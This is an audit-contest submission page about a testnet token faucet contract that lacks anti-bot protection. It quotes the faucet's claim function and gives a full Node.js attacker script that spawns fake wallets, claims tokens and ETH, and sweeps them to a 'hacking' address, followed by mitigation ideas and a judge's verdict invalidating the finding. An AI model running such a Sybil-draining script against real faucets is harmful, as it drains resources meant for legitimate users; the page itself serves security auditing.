Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Lack of anti-bot mechanisms

Root + Impact

-No verification to ensure claimants are unique users (e.g., CAPTCHA, KYC, or on-chain reputation).

-The dailyClaimLimit (100 claims/day) and dailySepEthCap are insufficient to prevent abuse by bots creating multiple accounts.

-No detection of suspicious patterns (e.g., rapid sequential claims from new addresses)

Description

The RaiseBoxFaucet contract lacks robust anti-bot mechanisms, enabling attackers to create multiple fake accounts to repeatedly claim faucet tokens faucetDrip and Sepolia ETH sepEthAmountToDrip. The contract enforces a 3-day cooldown CLAIM_COOLDOWN per address and a daily claim limit 'dailyClaimLimit, default 100', but these are easily bypassed by generating new addresses. The absence of identity verification, CAPTCHA, or Sybil attack resistance allows bots to drain significant amounts of tokens and ETH within the daily limits.

@> function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

-Financial Loss: Attackers can drain up to 100 * faucetDrip tokens and 100 * sepEthAmountToDrip ETH (default 0.01 ETH per claim, up to dailySepEthCap) per day, depleting the contract’s token and ETH reserves.

-Unfair Distribution: Legitimate users are crowded out, as bots claim the majority of available tokens and ETH.

-Reputation Damage: The faucet’s purpose (fair distribution for testing) is undermined, reducing trust in the system.

-Gas Costs for Owner: Refilling the contract (refillSepEth) or minting new tokens (mintFaucetTokens) incurs additional costs to counteract the attack.

Proof of Concept

Using node.js

1.add hacking account

2.send to hacking account 0.01 ether before running script

3.create 10 fake accounts

4.for each fake account do the following

-send to it .005 ether

-use the abi of the next solidity contract

-call claimFaucetTokens

-call tranfer to send claimed token to hacking address

-return all ether remaining in to hacking address

5.print ether balance and token balance of hacking address

Note:I used anvil instead of sepolia becaue i have not enough sepolia ether.

//javascript code of attacker bot
const { ethers } = require("ethers");
async function main() {
// Configure Sepolia RPC
const rpcUrl = "http://127.0.0.1:8545"; // Replace with Infura/Alchemy if needed
const provider = new ethers.JsonRpcProvider(rpcUrl);
// Hacking wallet private key (replace with a funded Sepolia private key)
const hackingPrivateKey = "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef";
const hackingWallet = new ethers.Wallet(hackingPrivateKey, provider);
console.log("Hacking Address:", hackingWallet.address);
console.log("Hacking Public Key:", hackingWallet.publicKey);
// Faucet contract address (replace with the deployed contract address)
const contractAddress = "0x5FbDB2315678afecb367f032d93F642f64180aa3"; // Replace with actual contract address
// Minimal ABI for required functions
const abi = [
"function claimFaucetTokens()",
"function transfer(address to, uint256 amount) returns (bool)",
"function balanceOf(address account) view returns (uint256)"
];
const contract = new ethers.Contract(contractAddress, abi, provider);
// Check hacking wallet ETH balance
const hackingEthBalance = await provider.getBalance(hackingWallet.address);
if (hackingEthBalance < ethers.parseEther("0.01")) {
console.error("Hacking address must be funded with at least 0.01 ETH.");
return;
}
// Create 10 fake wallets
const fakeWallets = [];
for (let i = 0; i < 10; i++) {
const fakeWallet = ethers.Wallet.createRandom().connect(provider);
fakeWallets.push(fakeWallet);
console.log(`Fake Account ${i + 1} Address: ${fakeWallet.address}`);
}
// Process each fake account
let hackingNonce = await provider.getTransactionCount(hackingWallet.address, "pending");
for (const fakeWallet of fakeWallets) {
console.log(`Processing fake account: ${fakeWallet.address}`);
// Step 1: Send 0.005 ETH
try {
const sendEthTx = await hackingWallet.sendTransaction({
to: fakeWallet.address,
value: ethers.parseEther("0.005"),
nonce: hackingNonce++,
gasLimit: 21000
});
await sendEthTx.wait();
console.log(`Sent 0.005 ETH to ${fakeWallet.address}, tx: ${sendEthTx.hash}`);
} catch (error) {
console.error(`Failed to send ETH to ${fakeWallet.address}:`, error.message);
continue;
}
// Connect contract to fake wallet
const fakeContract = contract.connect(fakeWallet);
let fakeNonce = await provider.getTransactionCount(fakeWallet.address, "pending");
// Step 2: Call claimFaucetTokens
try {
const claimTx = await fakeContract.claimFaucetTokens({
gasLimit: 300000,
nonce: fakeNonce++
});
await claimTx.wait();
console.log(`Claimed tokens for ${fakeWallet.address}, tx: ${claimTx.hash}`);
} catch (error) {
console.error(`Failed to claim tokens for ${fakeWallet.address}:`, error.message);
continue; // Skip to next wallet if claim fails
}
// Get token balance
const tokenBalance = await fakeContract.balanceOf(fakeWallet.address);
if (tokenBalance === 0n) {
console.log(`No tokens claimed for ${fakeWallet.address}, skipping transfer`);
continue;
}
// Step 3: Transfer tokens to hacking address
try {
const transferTx = await fakeContract.transfer(hackingWallet.address, tokenBalance, {
gasLimit: 100000,
nonce: fakeNonce++
});
await transferTx.wait();
console.log(`Transferred ${ethers.formatUnits(tokenBalance, 18)} tokens from ${fakeWallet.address} to hacking address, tx: ${transferTx.hash}`);
} catch (error) {
console.error(`Failed to transfer tokens from ${fakeWallet.address}:`, error.message);
continue;
}
// Step 4: Send remaining ETH back
const remainingEth = await provider.getBalance(fakeWallet.address);
const gasReserve = ethers.parseEther("0.001");
if (remainingEth > gasReserve) {
try {
const sendBackAmount = remainingEth - gasReserve;
const sendBackTx = await fakeWallet.sendTransaction({
to: hackingWallet.address,
value: sendBackAmount,
gasLimit: 21000,
nonce: fakeNonce++
});
await sendBackTx.wait();
console.log(`Sent ${ethers.formatEther(sendBackAmount)} ETH from ${fakeWallet.address} back to hacking address, tx: ${sendBackTx.hash}`);
} catch (error) {
console.error(`Failed to send ETH back from ${fakeWallet.address}:`, error.message);
}
} else {
console.log(`Insufficient ETH in ${fakeWallet.address} to send back`);
}
}
// Final balances
const finalEthBalance = await provider.getBalance(hackingWallet.address);
const finalTokenBalance = await contract.balanceOf(hackingWallet.address);
console.log("Final Hacking ETH Balance:", ethers.formatEther(finalEthBalance));
console.log("Final Hacking Token Balance:", ethers.formatUnits(finalTokenBalance, 18));
}
main().catch((error) => {
console.error(error);
process.exit(1);
});

Recommended Mitigation

1.CAPTCHA with Signature Verification

2.Reduce Daily Claim Limit

constructor(...) {
dailyClaimLimit = 5; // Reduced from 100
// ...
}

3.Blacklist Suspicious Addresses

Updates

Lead Judging Commences

inallhonesty Lead Judge 13 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.